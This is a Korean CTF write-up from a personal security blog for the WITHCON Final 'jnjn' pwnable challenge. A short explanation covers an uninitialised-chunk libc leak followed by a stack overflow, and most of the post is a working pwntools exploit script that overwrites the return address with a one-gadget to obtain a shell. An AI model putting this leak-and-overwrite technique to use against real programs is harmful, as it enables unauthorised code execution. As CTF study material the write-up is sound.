cdor1's lab
WITHCON Final jnjn 본문
후기 : 예~전에 풀었던 문제 익스플로잇 코드를 아직 안올렸었다....
list함수에서 chunk가 초기화되었는지 체크를 하지 않기때문에 바로 libc릭이 가능하고
이를 통해 스택 오버플로우를 이용해 ret를 덮고 익스플로잇 하면 된당
from pwn import *
s = remote('localhost',4000)
elf = ELF('/home/cdor1/pwnable/jnjn')
print s.recvuntil('> ')
s.sendline('1')
for i in range(0,4):
print s.recvuntil(': ')
s.sendline('256')
print s.recvuntil('> ')
s.sendline('2')
print s.recvuntil('which one do you want to delete : ')
s.sendline('0')
print s.recvuntil('> ')
s.sendline('3')
print s.recvuntil('name : ')
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x3be7b8
oneshot = libc_base + 0x4647c
print '[*] leak : ' + hex(leak)
print '[*] libc_base : ' + hex(libc_base)
print '[*] oneshot : ' + hex(oneshot)
print s.recvuntil('> ')
s.sendline('1')
print s.recvuntil(': ')
s.sendline('100')
print s.recvuntil(': ')
s.sendline('A'*88 + p64(oneshot))
s.sendline('cdor1')
s.sendline('cdor1')
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
pwnable.tw start (0) | 2017.01.24 |
---|---|
YISF 2016 pwn200 (0) | 2017.01.21 |
HITCON 2014 stkof (0) | 2017.01.20 |
TJCTF blag (0) | 2017.01.19 |
Hack.lu CTF 2014 OREO (0) | 2017.01.18 |
Comments